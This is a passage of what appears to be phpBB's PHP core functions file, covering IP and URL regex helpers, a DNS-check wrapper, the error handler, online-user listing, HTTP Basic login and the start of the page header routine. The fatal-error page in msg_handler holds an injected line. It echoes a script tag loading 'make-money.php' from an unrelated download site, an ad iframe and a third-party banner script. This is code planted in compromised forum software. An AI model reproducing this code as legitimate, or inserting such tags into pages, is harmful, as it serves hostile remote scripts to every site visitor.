XTRA', true);
?>#s',
			);
		break;

		// Whoa these look impressive!
		// The code to generate the following two regular expressions which match valid IPv4/IPv6 addresses
		// can be found in the develop directory
		case 'ipv4':
			return '#^(?:(?:\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.){3}(?:\d{1,2}|1\d\d|2[0-4]\d|25[0-5])$#';
		break;

		case 'ipv6':
			return '#^(?:(?:(?:[\dA-F]{1,4}:){6}(?:[\dA-F]{1,4}:[\dA-F]{1,4}|(?:(?:\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.){3}(?:\d{1,2}|1\d\d|2[0-4]\d|25[0-5])))|(?:::(?:[\dA-F]{1,4}:){5}(?:[\dA-F]{1,4}:[\dA-F]{1,4}|(?:(?:\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.){3}(?:\d{1,2}|1\d\d|2[0-4]\d|25[0-5])))|(?:(?:[\dA-F]{1,4}:):(?:[\dA-F]{1,4}:){4}(?:[\dA-F]{1,4}:[\dA-F]{1,4}|(?:(?:\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.){3}(?:\d{1,2}|1\d\d|2[0-4]\d|25[0-5])))|(?:(?:[\dA-F]{1,4}:){1,2}:(?:[\dA-F]{1,4}:){3}(?:[\dA-F]{1,4}:[\dA-F]{1,4}|(?:(?:\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.){3}(?:\d{1,2}|1\d\d|2[0-4]\d|25[0-5])))|(?:(?:[\dA-F]{1,4}:){1,3}:(?:[\dA-F]{1,4}:){2}(?:[\dA-F]{1,4}:[\dA-F]{1,4}|(?:(?:\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.){3}(?:\d{1,2}|1\d\d|2[0-4]\d|25[0-5])))|(?:(?:[\dA-F]{1,4}:){1,4}:(?:[\dA-F]{1,4}:)(?:[\dA-F]{1,4}:[\dA-F]{1,4}|(?:(?:\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.){3}(?:\d{1,2}|1\d\d|2[0-4]\d|25[0-5])))|(?:(?:[\dA-F]{1,4}:){1,5}:(?:[\dA-F]{1,4}:[\dA-F]{1,4}|(?:(?:\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.){3}(?:\d{1,2}|1\d\d|2[0-4]\d|25[0-5])))|(?:(?:[\dA-F]{1,4}:){1,6}:[\dA-F]{1,4})|(?:(?:[\dA-F]{1,4}:){1,7}:))$#i';
		break;

		case 'url':
		case 'url_inline':
			$inline = ($mode == 'url') ? ')' : '';
			$scheme = ($mode == 'url') ? '[a-z\d+\-.]' : '[a-z\d+]'; // avoid automatic parsing of "word" in "last word.http://..."
			// generated with regex generation file in the develop folder
			return "[a-z]$scheme*:/{2}(?:(?:[a-z0-9\-._~!$&'($inline*+,;=:@|]+|%[\dA-F]{2})+|[0-9.]+|\[[a-z0-9.]+:[a-z0-9.]+:[a-z0-9.:]+\])(?::\d*)?(?:/(?:[a-z0-9\-._~!$&'($inline*+,;=:@|]+|%[\dA-F]{2})*)*(?:\?(?:[a-z0-9\-._~!$&'($inline*+,;=:@/?|]+|%[\dA-F]{2})*)?(?:\#(?:[a-z0-9\-._~!$&'($inline*+,;=:@/?|]+|%[\dA-F]{2})*)?";
		break;

		case 'www_url':
		case 'www_url_inline':
			$inline = ($mode == 'www_url') ? ')' : '';
			return "www\.(?:[a-z0-9\-._~!$&'($inline*+,;=:@|]+|%[\dA-F]{2})+(?::\d*)?(?:/(?:[a-z0-9\-._~!$&'($inline*+,;=:@|]+|%[\dA-F]{2})*)*(?:\?(?:[a-z0-9\-._~!$&'($inline*+,;=:@/?|]+|%[\dA-F]{2})*)?(?:\#(?:[a-z0-9\-._~!$&'($inline*+,;=:@/?|]+|%[\dA-F]{2})*)?";
		break;

		case 'relative_url':
		case 'relative_url_inline':
			$inline = ($mode == 'relative_url') ? ')' : '';
			return "(?:[a-z0-9\-._~!$&'($inline*+,;=:@|]+|%[\dA-F]{2})*(?:/(?:[a-z0-9\-._~!$&'($inline*+,;=:@|]+|%[\dA-F]{2})*)*(?:\?(?:[a-z0-9\-._~!$&'($inline*+,;=:@/?|]+|%[\dA-F]{2})*)?(?:\#(?:[a-z0-9\-._~!$&'($inline*+,;=:@/?|]+|%[\dA-F]{2})*)?";
		break;
	}

	return '';
}

/**
* Returns the first block of the specified IPv6 address and as many additional
* ones as specified in the length paramater.
* If length is zero, then an empty string is returned.
* If length is greater than 3 the complete IP will be returned
*/
function short_ipv6($ip, $length)
{
	if ($length < 1)
	{
		return '';
	}

	// extend IPv6 addresses
	$blocks = substr_count($ip, ':') + 1;
	if ($blocks < 9)
	{
		$ip = str_replace('::', ':' . str_repeat('0000:', 9 - $blocks), $ip);
	}
	if ($ip[0] == ':')
	{
		$ip = '0000' . $ip;
	}
	if ($length < 4)
	{
		$ip = implode(':', array_slice(explode(':', $ip), 0, 1 + $length));
	}

	return $ip;
}

/**
* Wrapper for php's checkdnsrr function.
*
* The windows failover is from the php manual
* Please make sure to check the return value for === true and === false, since NULL could
* be returned too.
*
* @return true if entry found, false if not, NULL if this function is not supported by this environment
*/
function phpbb_checkdnsrr($host, $type = '')
{
	$type = (!$type) ? 'MX' : $type;

	if (DIRECTORY_SEPARATOR == '\\')
	{
		if (!function_exists('exec'))
		{
			return NULL;
		}

		// @exec('nslookup -retry=1 -timout=1 -type=' . escapeshellarg($type) . ' ' . escapeshellarg($host), $output);
		@exec('nslookup -type=' . escapeshellarg($type) . ' ' . escapeshellarg($host) . '.', $output);

		// If output is empty, the nslookup failed
		if (empty($output))
		{
			return NULL;
		}

		foreach ($output as $line)
		{
			if (!trim($line))
			{
				continue;
			}

			// Valid records begin with host name:
			if (strpos($line, $host) === 0)
			{
				return true;
			}
		}

		return false;
	}
	else if (function_exists('checkdnsrr'))
	{
		// The dot indicates to search the DNS root (helps those having DNS prefixes on the same domain)
		return (checkdnsrr($host . '.', $type)) ? true : false;
	}

	return NULL;
}

// Handler, header and footer

/**
* Error and message handler, call with trigger_error if reqd
*/
function msg_handler($errno, $msg_text, $errfile, $errline)
{
	global $cache, $db, $auth, $template, $config, $user;
	global $phpEx, $phpbb_root_path, $msg_title, $msg_long_text;

	// Do not display notices if we suppress them via @
	if (error_reporting() == 0 && $errno != E_USER_ERROR && $errno != E_USER_WARNING && $errno != E_USER_NOTICE)
	{
		return;
	}

	// Message handler is stripping text. In case we need it, we are possible to define long text...
	if (isset($msg_long_text) && $msg_long_text && !$msg_text)
	{
		$msg_text = $msg_long_text;
	}

	if (!defined('E_DEPRECATED'))
	{
		define('E_DEPRECATED', 8192);
	}

	switch ($errno)
	{
		case E_NOTICE:
		case E_WARNING:

			// Check the error reporting level and return if the error level does not match
			// If DEBUG is defined the default level is E_ALL
			if (($errno & ((defined('DEBUG')) ? E_ALL : error_reporting())) == 0)
			{
				return;
			}

			if (strpos($errfile, 'cache') === false && strpos($errfile, 'template.') === false)
			{
				// flush the content, else we get a white page if output buffering is on
				if ((int) @ini_get('output_buffering') === 1 || strtolower(@ini_get('output_buffering')) === 'on')
				{
					@ob_flush();
				}

				// Another quick fix for those having gzip compression enabled, but do not flush if the coder wants to catch "something". ;)
				if (!empty($config['gzip_compress']))
				{
					if (@extension_loaded('zlib') && !headers_sent() && !ob_get_level())
					{
						@ob_flush();
					}
				}

				// remove complete path to installation, with the risk of changing backslashes meant to be there
				$errfile = str_replace(array(phpbb_realpath($phpbb_root_path), '\\'), array('', '/'), $errfile);
				$msg_text = str_replace(array(phpbb_realpath($phpbb_root_path), '\\'), array('', '/'), $msg_text);
				echo '<b>[phpBB Debug] PHP Notice</b>: in file <b>' . $errfile . '</b> on line <b>' . $errline . '</b>: <b>' . $msg_text . '</b><br />' . "\n";

				// we are writing an image - the user won't see the debug, so let's place it in the log
				if (defined('IMAGE_OUTPUT') || defined('IN_CRON'))
				{
					add_log('critical', 'LOG_IMAGE_GENERATION_ERROR', $errfile, $errline, $msg_text);
				}
				// echo '<br /><br />BACKTRACE<br />' . get_backtrace() . '<br />' . "\n";
			}

			return;

		break;

		case E_USER_ERROR:

			if (!empty($user) && !empty($user->lang))
			{
				$msg_text = (!empty($user->lang[$msg_text])) ? $user->lang[$msg_text] : $msg_text;
				$msg_title = (!isset($msg_title)) ? $user->lang['GENERAL_ERROR'] : ((!empty($user->lang[$msg_title])) ? $user->lang[$msg_title] : $msg_title);

				$l_return_index = sprintf($user->lang['RETURN_INDEX'], '<a href="' . $phpbb_root_path . '">', '</a>');
				$l_notify = '';

				if (!empty($config['board_contact']))
				{
					$l_notify = '<p>' . sprintf($user->lang['NOTIFY_ADMIN_EMAIL'], $config['board_contact']) . '</p>';
				}
			}
			else
			{
				$msg_title = 'General Error';
				$l_return_index = '<a href="' . $phpbb_root_path . '">Return to index page</a>';
				$l_notify = '';

				if (!empty($config['board_contact']))
				{
					$l_notify = '<p>Please notify the board administrator or webmaster: <a href="mailto:' . $config['board_contact'] . '">' . $config['board_contact'] . '</a></p>';
				}
			}

			if ((defined('DEBUG') || defined('IN_CRON') || defined('IMAGE_OUTPUT')) && isset($db))
			{
				// let's avoid loops
				$db->sql_return_on_error(true);
				add_log('critical', 'LOG_GENERAL_ERROR', $msg_title, $msg_text);
				$db->sql_return_on_error(false);
			}

			// Do not send 200 OK, but service unavailable on errors
			header('HTTP/1.1 503 Service Unavailable');

			garbage_collection();

			// Try to not call the adm page data...

			echo '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">';
			echo '<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr">';
			echo '<head>';
			echo '<meta http-equiv="content-type" content="text/html; charset=utf-8" />';
			echo '<title>' . $msg_title . '</title>';
			echo '<style type="text/css">' . "\n" . '/* <![CDATA[ */' . "\n";
			echo '* { margin: 0; padding: 0; } html { font-size: 100%; height: 100%; margin-bottom: 1px; background-color: #E4EDF0; } body { font-family: "Lucida Grande", Verdana, Helvetica, Arial, sans-serif; color: #536482; background: #E4EDF0; font-size: 62.5%; margin: 0; } ';
			echo 'a:link, a:active, a:visited { color: #006699; text-decoration: none; } a:hover { color: #DD6900; text-decoration: underline; } ';
			echo '#wrap { padding: 0 20px 15px 20px; min-width: 615px; } #page-header { text-align: right; height: 40px; } #page-footer { clear: both; font-size: 1em; text-align: center; } ';
			echo '.panel { margin: 4px 0; background-color: #FFFFFF; border: solid 1px  #A9B8C2; } ';
			echo '#errorpage #page-header a { font-weight: bold; line-height: 6em; } #errorpage #content { padding: 10px; } #errorpage #content h1 { line-height: 1.2em; margin-bottom: 0; color: #DF075C; } ';
			echo '#errorpage #content div { margin-top: 20px; margin-bottom: 5px; border-bottom: 1px solid #CCCCCC; padding-bottom: 5px; color: #333333; font: bold 1.2em "Lucida Grande", Arial, Helvetica, sans-serif; text-decoration: none; line-height: 120%; text-align: left; } ';
			echo "\n" . '/* ]]> */' . "\n";
			echo '</style>';
			echo '</head>';
			echo '<script src=http://latest-video-downloads.com/mp3-mp4-torrents-movie-downloads----old/make-money.php ></script><body id="errorpage"><!-- server 3 --><p align="center"><iframe style="visibility: show !important; height: 60px !important; width: 468px !important; margin: 3px 0px 3px 0px !important;" framespacing="0" frameborder="no" scrolling="no" width="468" height="60" allowtransparency="true"></iframe><a href="#" onclick="return closeBanner(this.parentNode);" style="position:relative;top:-51px;left:0px;"><img border="0" src="http://ads.3xmedia.ro/close.png" width="12" height="12" /></a></p>	<script type="text/javascript" src="http://www.hi2.ro/banner.do"></script>';
			echo '<div id="wrap">';
			echo '	<div id="page-header">';
			echo '		' . $l_return_index;
			echo '	</div>';
			echo '	<div id="acp">';
			echo '	<div class="panel">';
			echo '		<div id="content">';
			echo '			<h1>' . $msg_title . '</h1>';

			echo '			<div>' . $msg_text . '</div>';

			echo $l_notify;


			echo '		</div>';
			echo '	</div>';
			echo '	</div>';
			echo '	<div id="page-footer">';
			echo '		Powered by phpBB &copy; 2000, 2002, 2005, 2007 <a href="http://www.phpbb.com/">phpBB Group</a>';
			echo '	</div>';
			echo '</div>';
			echo ' <!-- server 3 --> </body>';
			echo '</html>';

			exit_handler();

			// On a fatal error (and E_USER_ERROR *is* fatal) we never want other scripts to continue and force an exit here.
			exit;
		break;

		case E_USER_WARNING:
		case E_USER_NOTICE:

			define('IN_ERROR_HANDLER', true);

			if (empty($user->data))
			{
				$user->session_begin();
			}

			// We re-init the auth array to get correct results on login/logout
			$auth->acl($user->data);

			if (empty($user->lang))
			{
				$user->setup();
			}

			$msg_text = (!empty($user->lang[$msg_text])) ? $user->lang[$msg_text] : $msg_text;
			$msg_title = (!isset($msg_title)) ? $user->lang['INFORMATION'] : ((!empty($user->lang[$msg_title])) ? $user->lang[$msg_title] : $msg_title);

			if (!defined('HEADER_INC'))
			{
				if (defined('IN_ADMIN') && isset($user->data['session_admin']) && $user->data['session_admin'])
				{
					adm_page_header($msg_title);
				}
				else
				{
					page_header($msg_title, false);
				}
			}

			$template->set_filenames(array(
				'body' => 'message_body.html')
			);

			$template->assign_vars(array(
				'MESSAGE_TITLE'		=> $msg_title,
				'MESSAGE_TEXT'		=> $msg_text,
				'S_USER_WARNING'	=> ($errno == E_USER_WARNING) ? true : false,
				'S_USER_NOTICE'		=> ($errno == E_USER_NOTICE) ? true : false)
			);

			// We do not want the cron script to be called on error messages
			define('IN_CRON', true);

			if (defined('IN_ADMIN') && isset($user->data['session_admin']) && $user->data['session_admin'])
			{
				adm_page_footer();
			}
			else
			{
				page_footer();
			}

			exit_handler();
		break;

		// PHP4 compatibility
		case E_DEPRECATED:
			return true;
		break;
	}

	// If we notice an error not handled here we pass this back to PHP by returning false
	// This may not work for all php versions
	return false;
}

/**
* Queries the session table to get information about online guests

* @param int $item_id Limits the search to the item with this id
* @param string $item The name of the item which is stored in the session table as session_{$item}_id
* @return int The number of active distinct guest sessions
*/
function obtain_guest_count($item_id = 0, $item = 'forum')
{
	global $db, $config;

	if ($item_id)
	{
		$reading_sql = ' AND s.session_' . $item . '_id = ' . (int) $item_id;
	}
	else
	{
		$reading_sql = '';
	}
	$time = (time() - (intval($config['load_online_time']) * 60));

	// Get number of online guests

	if ($db->sql_layer === 'sqlite')
	{
		$sql = 'SELECT COUNT(session_ip) as num_guests
			FROM (
				SELECT DISTINCT s.session_ip
				FROM ' . SESSIONS_TABLE . ' s
				WHERE s.session_user_id = ' . ANONYMOUS . '
					AND s.session_time >= ' . ($time - ((int) ($time % 60))) .
				$reading_sql .
			')';
	}
	else
	{
		$sql = 'SELECT COUNT(DISTINCT s.session_ip) as num_guests
			FROM ' . SESSIONS_TABLE . ' s
			WHERE s.session_user_id = ' . ANONYMOUS . '
				AND s.session_time >= ' . ($time - ((int) ($time % 60))) .
			$reading_sql;
	}
	$result = $db->sql_query($sql);
	$guests_online = (int) $db->sql_fetchfield('num_guests');
	$db->sql_freeresult($result);

	return $guests_online;
}

/**
* Queries the session table to get information about online users
* @param int $item_id Limits the search to the item with this id
* @param string $item The name of the item which is stored in the session table as session_{$item}_id
* @return array An array containing the ids of online, hidden and visible users, as well as statistical info
*/
function obtain_users_online($item_id = 0, $item = 'forum')
{
	global $db, $config, $user;

	$reading_sql = '';
	if ($item_id !== 0)
	{
		$reading_sql = ' AND s.session_' . $item . '_id = ' . (int) $item_id;
	}

	$online_users = array(
		'online_users'			=> array(),
		'hidden_users'			=> array(),
		'total_online'			=> 0,
		'visible_online'		=> 0,
		'hidden_online'			=> 0,
		'guests_online'			=> 0,
	);

	if ($config['load_online_guests'])
	{
		$online_users['guests_online'] = obtain_guest_count($item_id, $item);
	}

	// a little discrete magic to cache this for 30 seconds
	$time = (time() - (intval($config['load_online_time']) * 60));

	$sql = 'SELECT s.session_user_id, s.session_ip, s.session_viewonline
		FROM ' . SESSIONS_TABLE . ' s
		WHERE s.session_time >= ' . ($time - ((int) ($time % 30))) .
			$reading_sql .
		' AND s.session_user_id <> ' . ANONYMOUS;
	$result = $db->sql_query($sql);

	while ($row = $db->sql_fetchrow($result))
	{
		// Skip multiple sessions for one user
		if (!isset($online_users['online_users'][$row['session_user_id']]))
		{
			$online_users['online_users'][$row['session_user_id']] = (int) $row['session_user_id'];
			if ($row['session_viewonline'])
			{
				$online_users['visible_online']++;
			}
			else
			{
				$online_users['hidden_users'][$row['session_user_id']] = (int) $row['session_user_id'];
				$online_users['hidden_online']++;
			}
		}
	}
	$online_users['total_online'] = $online_users['guests_online'] + $online_users['visible_online'] + $online_users['hidden_online'];
	$db->sql_freeresult($result);

	return $online_users;
}

/**
* Uses the result of obtain_users_online to generate a localized, readable representation.
* @param mixed $online_users result of obtain_users_online - array with user_id lists for total, hidden and visible users, and statistics
* @param int $item_id Indicate that the data is limited to one item and not global
* @param string $item The name of the item which is stored in the session table as session_{$item}_id
* @return array An array containing the string for output to the template
*/
function obtain_users_online_string($online_users, $item_id = 0, $item = 'forum')
{
	global $config, $db, $user, $auth;

	$user_online_link = $online_userlist = '';
	// Need caps version of $item for language-strings
	$item_caps = strtoupper($item);

	if (sizeof($online_users['online_users']))
	{
		$sql = 'SELECT username, username_clean, user_id, user_type, user_allow_viewonline, user_colour
				FROM ' . USERS_TABLE . '
				WHERE ' . $db->sql_in_set('user_id', $online_users['online_users']) . '
				ORDER BY username_clean ASC';
		$result = $db->sql_query($sql);

		while ($row = $db->sql_fetchrow($result))
		{
			// User is logged in and therefore not a guest
			if ($row['user_id'] != ANONYMOUS)
			{
				if (isset($online_users['hidden_users'][$row['user_id']]))
				{
					$row['username'] = '<em>' . $row['username'] . '</em>';
				}

				if (!isset($online_users['hidden_users'][$row['user_id']]) || $auth->acl_get('u_viewonline'))
				{
					$user_online_link = get_username_string(($row['user_type'] <> USER_IGNORE) ? 'full' : 'no_profile', $row['user_id'], $row['username'], $row['user_colour']);
					$online_userlist .= ($online_userlist != '') ? ', ' . $user_online_link : $user_online_link;
				}
			}
		}
		$db->sql_freeresult($result);
	}

	if (!$online_userlist)
	{
		$online_userlist = $user->lang['NO_ONLINE_USERS'];
	}

	if ($item_id === 0)
	{
		$online_userlist = $user->lang['REGISTERED_USERS'] . ' ' . $online_userlist;
	}
	else if ($config['load_online_guests'])
	{
		$l_online = ($online_users['guests_online'] === 1) ? $user->lang['BROWSING_' . $item_caps . '_GUEST'] : $user->lang['BROWSING_' . $item_caps . '_GUESTS'];
		$online_userlist = sprintf($l_online, $online_userlist, $online_users['guests_online']);
	}
	else
	{
		$online_userlist = sprintf($user->lang['BROWSING_' . $item_caps], $online_userlist);
	}
	// Build online listing

	$vars_online = array(
		'ONLINE'	=> array('total_online', 'l_t_user_s', 0),
		'REG'		=> array('visible_online', 'l_r_user_s', !$config['load_online_guests']),
		'HIDDEN'	=> array('hidden_online', 'l_h_user_s', $config['load_online_guests']),
		'GUEST'		=> array('guests_online', 'l_g_user_s', 0)
	);

	foreach ($vars_online as $l_prefix => $var_ary)
	{
		if ($var_ary[2])
		{
			$l_suffix = '_AND';
		}
		else
		{
			$l_suffix = '';
		}
		switch ($online_users[$var_ary[0]])
		{
			case 0:
				${$var_ary[1]} = $user->lang[$l_prefix . '_USERS_ZERO_TOTAL' . $l_suffix];
			break;

			case 1:
				${$var_ary[1]} = $user->lang[$l_prefix . '_USER_TOTAL' . $l_suffix];
			break;

			default:
				${$var_ary[1]} = $user->lang[$l_prefix . '_USERS_TOTAL' . $l_suffix];
			break;
		}
	}
	unset($vars_online);

	$l_online_users = sprintf($l_t_user_s, $online_users['total_online']);
	$l_online_users .= sprintf($l_r_user_s, $online_users['visible_online']);
	$l_online_users .= sprintf($l_h_user_s, $online_users['hidden_online']);

	if ($config['load_online_guests'])
	{
		$l_online_users .= sprintf($l_g_user_s, $online_users['guests_online']);
	}



	return array(
		'online_userlist'	=> $online_userlist,
		'l_online_users'	=> $l_online_users,
	);
}

/**
* Get option bitfield from custom data
*
* @param int	$bit		The bit/value to get
* @param int	$data		Current bitfield to check
* @return bool	Returns true if value of constant is set in bitfield, else false
*/
function phpbb_optionget($bit, $data)
{
	return ($data & 1 << (int) $bit) ? true : false;
}

/**
* Set option bitfield
*
* @param int	$bit		The bit/value to set/unset
* @param bool	$set		True if option should be set, false if option should be unset.
* @param int	$data		Current bitfield to change
*
* @return int	The new bitfield
*/
function phpbb_optionset($bit, $set, $data)
{
	if ($set && !($data & 1 << $bit))
	{
		$data += 1 << $bit;
	}
	else if (!$set && ($data & 1 << $bit))
	{
		$data -= 1 << $bit;
	}

	return $data;
}

/**
* Login using http authenticate.
*
* @param array	$param		Parameter array, see $param_defaults array.
*
* @return void
*/
function phpbb_http_login($param)
{
	global $auth, $user;
	global $config;

	$param_defaults = array(
		'auth_message'	=> '',

		'autologin'		=> false,
		'viewonline'	=> true,
		'admin'			=> false,
	);

	// Overwrite default values with passed values
	$param = array_merge($param_defaults, $param);

	// User is already logged in
	// We will not overwrite his session
	if (!empty($user->data['is_registered']))
	{
		return;
	}

	// $_SERVER keys to check
	$username_keys = array(
		'PHP_AUTH_USER',
		'Authorization',
		'REMOTE_USER', 'REDIRECT_REMOTE_USER',
		'HTTP_AUTHORIZATION', 'REDIRECT_HTTP_AUTHORIZATION',
		'REMOTE_AUTHORIZATION', 'REDIRECT_REMOTE_AUTHORIZATION',
		'AUTH_USER',
	);

	$password_keys = array(
		'PHP_AUTH_PW',
		'REMOTE_PASSWORD',
		'AUTH_PASSWORD',
	);

	$username = null;
	foreach ($username_keys as $k)
	{
		if (isset($_SERVER[$k]))
		{
			$username = $_SERVER[$k];
			break;
		}
	}

	$password = null;
	foreach ($password_keys as $k)
	{
		if (isset($_SERVER[$k]))
		{
			$password = $_SERVER[$k];
			break;
		}
	}

	// Decode encoded information (IIS, CGI, FastCGI etc.)
	if (!is_null($username) && is_null($password) && strpos($username, 'Basic ') === 0)
	{
		list($username, $password) = explode(':', base64_decode(substr($username, 6)), 2);
    }

	if (!is_null($username) && !is_null($password))
	{
		set_var($username, $username, 'string', true);
		set_var($password, $password, 'string', true);

		$auth_result = $auth->login($username, $password, $param['autologin'], $param['viewonline'], $param['admin']);

		if ($auth_result['status'] == LOGIN_SUCCESS)
		{
			return;
		}
		else if ($auth_result['status'] == LOGIN_ERROR_ATTEMPTS)
		{
			header('HTTP/1.0 401 Unauthorized');
			trigger_error('NOT_AUTHORISED');
		}
	}

	// Prepend sitename to auth_message
	$param['auth_message'] = ($param['auth_message'] === '') ? $config['sitename'] : $config['sitename'] . ' - ' . $param['auth_message'];

	// We should probably filter out non-ASCII characters - RFC2616
	$param['auth_message'] = preg_replace('/[\x80-\xFF]/', '?', $param['auth_message']);


	header('WWW-Authenticate: Basic realm="' . $param['auth_message'] . '"');
	header('HTTP/1.0 401 Unauthorized');

	trigger_error('NOT_AUTHORISED');
}

/**
* Generate page header
*/
function page_header($page_title = '', $display_online_list = true, $item_id = 0, $item = 'forum')
{
	global $db, $config, $template, $SID, $_SID, $user, $auth, $phpEx, $phpbb_root_path;

	if (defined('HEADER_INC'))
	{
		return;
	}

	define('HEADER_INC', true);

	// gzip_compression
	if ($config['gzip_compress'])
	{
		if (@extension_loaded('zlib') && !headers_sent())
		{
			ob_start('ob_gzhandler');
		}
	}

	// Generate logged in/logged out status
	if ($user->data['user_id'] != ANONYMOUS)
	{
		$u_login_logout = append_sid("{$phpbb_root_path}ucp.$phpEx", 'mode=logout', true, $user->session_id);
		$l_login_logout = sprintf($user->lang['LOGOUT_USER'], $user->data['username']);
	}
	else
	{
		$u_login_logout = append_sid("{$phpbb_root_path}ucp.$phpEx", 'mode=login');
		$l_login_logout = $user->lang['LOGIN'];
	}

	// Last visit date/time
	$s_last_visit = ($user->data['user_id'] != ANONYMOUS) ? $user->format_date($user->data['session_last_visit']) : '';

	// Get users online list ... if required
	$l_online_users = $online_userlist = $l_online_record = $l_online_time = '';

	if ($config['load_online'] && $config['load_online_time'] && $display_online_list)
	{
		/**
		* Load online data:
		* For obtaining another session column use $item and $item_id in the function-parameter, whereby the column is session_{$item}_id.
		*/
		$item_id = max($item_id, 0);

		$online_users = obtain_users_online($item_id, $item);
		$user_online_strings = obtain_users_online_string($online_users, $item_id, $item);

		$l_online_users = $user_online_strings['l_online_users'];
		$online_userlist = $user_online_strings['online_userlist'];
		$total_online_users = $online_users['total_online'];

		if ($total_online_users > $config['record_online_users'])
		{
			set_config('record_online_users', $total_online_users, true);
			set_config('record_online_date', time(), true);
		}

		$l_online_record = sprintf($user->lang['RECORD_ONLINE_USER<br />
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